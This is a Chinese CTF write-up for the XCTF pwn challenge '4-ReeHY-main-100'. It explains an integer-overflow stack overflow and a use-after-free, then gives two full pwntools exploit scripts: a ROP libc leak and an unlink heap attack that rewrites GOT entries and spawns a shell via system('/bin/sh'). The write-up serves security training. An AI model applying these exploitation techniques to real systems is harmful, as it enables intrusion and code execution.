4-ReeHY-main-100(xctf)

0x0 程序保护和流程

保护:

4-ReeHY-main-100(xctf)_第1张图片

流程:

main()

4-ReeHY-main-100(xctf)_第2张图片

程序的问题主要存在于两个函数,第一个问题位于是create()

4-ReeHY-main-100(xctf)_第3张图片

输入的size是有符号的,而在调用read函数是传入的参数是无符号的。所以存在整数溢出从而导致了栈溢出。

第二个问题位于delete()

4-ReeHY-main-100(xctf)_第4张图片

只对索引做了限制,没有对堆块的指针清零,所以存在UAF。

0x1 利用过程

栈溢出的利用过程:

对于padding的长度是0x98应该没什么问题,但是在对栈进行覆盖时必须注意栈中变量是否在覆盖后仍然被程序使用并且是否合法。如程序中的

memcpy(dest, &buf, (signed int)size);

如果将dest覆盖为’aaaa’就会使得上述语句执行时发生错误。所以padding需要进行一些变形使得程序在溢出之后依旧能够正常运行。

padding='a'*0x88+p32(0)+p32(0)+'a'*0x8

堆的利用过程:

1.结合程序的流程来看,程序中并没有任何可控的输出模块的实现。所以只能通过修改got表中数据才能够进行输出。从而泄露libc中函数的地址。

2.要想修改got表,需要一个指向got表的指针。这时看向create(),这个函数将malloc申请的指针存放在了content中,而content则位于bss段。

4-ReeHY-main-100(xctf)_第5张图片

再看一下edit()

4-ReeHY-main-100(xctf)_第6张图片

这个函数通过content的指针修改content中的内容。如果能够控制content就能够实现任意地址写。

3.因为需要修改指针,所以可以想到Unlink。

4-ReeHY-main-100(xctf)_第7张图片

对于旧版本的Unlink的利用十分简单,但是新版本的Unlink加了检查,

// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");               \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

  // largebin 中 next_size 双向链表完整性检查 
              if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              \
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
              malloc_printerr (check_action,                                      \
                               "corrupted double-linked list (not small)",    \
                               P, AV);

使得通过Unlink只能修改指向堆块的指针。因为只要控制好P->fd-0x18=P,P->bk-0x10=P,就能通过绕过使得FD->bk=BK=P->bk,BK->fd=FD=P->fd。

4.实现方式。先构造四个大小不属于fastbin的堆块。

# 当修改free_got为system的地址时,delete(0)相当于
create(0x200,0,'/bin/sh\x00')
# 工具堆块,以免丢失第一个堆块的指针
create(0x200,1,'first')
# 两个堆块实现Unlink
create(0x200,2,'second')
create(0x200,3,'third')

4-ReeHY-main-100(xctf)_第8张图片

之后将后两个堆块进行释放。之后申请一个大小为0x400的堆块,并在其中填入伪造堆块的数据

heap=0x602100
payload=p64(0)+p64(0x201)+p64(heap-0x18)+p64(heapt-0x10)+'a'*(0x200-0x20)+p64(0x200)+p64(0x200)
create(0x400,2,payload)

此时content处的数据情况。

4-ReeHY-main-100(xctf)_第9张图片

一旦此时将索引为3的堆块进行释放,程序就会判断向前合并,之后会对Prevchunk采取Unlink操作。先进行size检查发现通过之后检查fd和bk指针。此时P=0x1556480,FD=P->fd=0x602100–0x18=0x6020E8,FD->bk =0x1556480,BK=P->bk=0x602100-0x10=0x6020F0,BK->fd=0x1556480。如果FD->bk=P,BK->fd=P就可以完成检查,然后FD->bk=BK=P->bk=0x6020F0,BK->fd=FD=P->fd=0x6020E8。最后0x602100处的值被修改为0x6020E8。

4-ReeHY-main-100(xctf)_第10张图片

在此之后就可以结合edit()修改got表实现劫持程序流程了。

0x2 exp

题目给出的libc有问题所以使用LibcSearcher得出相应函数的地址。

栈:

from pwn import *
from LibcSearcher import *
local=0
if local:
    sh=process('./a')
    libc=ELF('./libc.so.6')
    write_libc=libc.symbols['write']
    system_libc=libc.symbols['system']
    bin_sh_libc=libc.search("/bin/sh").next() 
else:
    sh=remote('220.249.52.133','40556')

elf=ELF('./a')

main_addr=0x400C8C
pop_rdi=0x400da3
puts_plt=elf.plt['puts']
write_got=elf.got['write']

def create(size,index,content):
    sh.sendlineafter('$ ','1')
    sh.sendlineafter('Input size\n',str(size))
    sh.sendlineafter('Input cun\n',str(index))
    sh.sendlineafter('Input content\n',content)

def delete(index):
    sh.sendlineafter('$ ','2')
    sh.sendlineafter('Chose one to dele\n',str(index))

def edit(index,content):
    sh.sendlineafter('$ ','3')
    sh.sendlineafter('Chose one to edit\n',str(index))
    sh.sendlineafter('Input the content\n',str(content))

sh.sendlineafter('$ ','whitehand')
junk='a'*0x88+p32(0)+p32(0)+'a'*0x8
payload=junk+p64(pop_rdi)+p64(write_got)+p64(puts_plt)+p64(main_addr)
create(-1,1,payload)
write_addr=u64(sh.recvn(6).ljust(8,'\x00'))
if local:
    offset=write_addr-write_libc
    system_addr=offset+system_libc
    bin_sh_addr=offset+bin_sh_libc 
else:
    libc=LibcSearcher('write',write_addr)
    libc_base=write_addr-libc.dump('write')
    system_addr=libc_base+libc.dump('system')
    bin_sh_addr=libc_base+libc.dump('str_bin_sh')

sh.sendlineafter('$ ','whitehand')
payload=junk+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)+p64(main_addr)
create(-1,1,payload)
sh.interactive()

堆:

from pwn import *
from LibcSearcher import *
local=1
if local:
    sh=process('./a')
    libc=ELF('./libc.so.6')
    system_libc=libc.symbols['system']
    atoi_libc=libc.symbols['atoi']
else:
    sh=remote('220.249.52.133','40556')

elf=ELF('./a')
heap_got=0x602100
free_got=elf.got['free']
atoi_got=elf.got['atoi']
puts_plt=elf.plt['puts']

def create(size,index,content):
    sh.sendlineafter('$ ','1')
    sh.sendlineafter('Input size\n',str(size))
    sh.sendlineafter('Input cun\n',str(index))
    sh.sendafter('Input content\n',content)

def delete(index):
    sh.sendlineafter('$ ','2')
    sh.sendlineafter('Chose one to dele\n',str(index))

def edit(index,content):
    sh.sendlineafter('$ ','3')
    sh.sendlineafter('Chose one to edit\n',str(index))
    sh.sendafter('Input the content\n',content)


sh.sendlineafter('$ ','whitehand')
create(0x200,0,'/bin/sh\x00')
create(0x200,1,'first')
create(0x200,2,'second')
create(0x200,3,'third')
delete(3)
delete(2)
payload=p64(0)+p64(0x201)+p64(heap_got-0x18)+p64(heap_got-0x10)+'a'*(0x200-0x20)+p64(0x200)+p64(0x200)
create(0x400,2,payload)
delete(3)
payload=0x18*'1'+p64(free_got)+p64(1)+p64(atoi_got)
edit(2,payload)
edit(2,p64(puts_plt))
delete(3)
atoi_addr=u64(sh.recvn(6).ljust(8,'\x00'))
if local:
    offset=atoi_addr-atoi_libc
    system_addr=system_libc+offset
else:
    libc=LibcSearcher('atoi',atoi_addr)
    offset=atoi_addr-libc.dump('atoi')
    system_addr=offset+libc.dump('system')

edit(2,p64(system_addr))
delete(0)
sh.interactive()

你可能感兴趣的:(xctf(pwn高手区))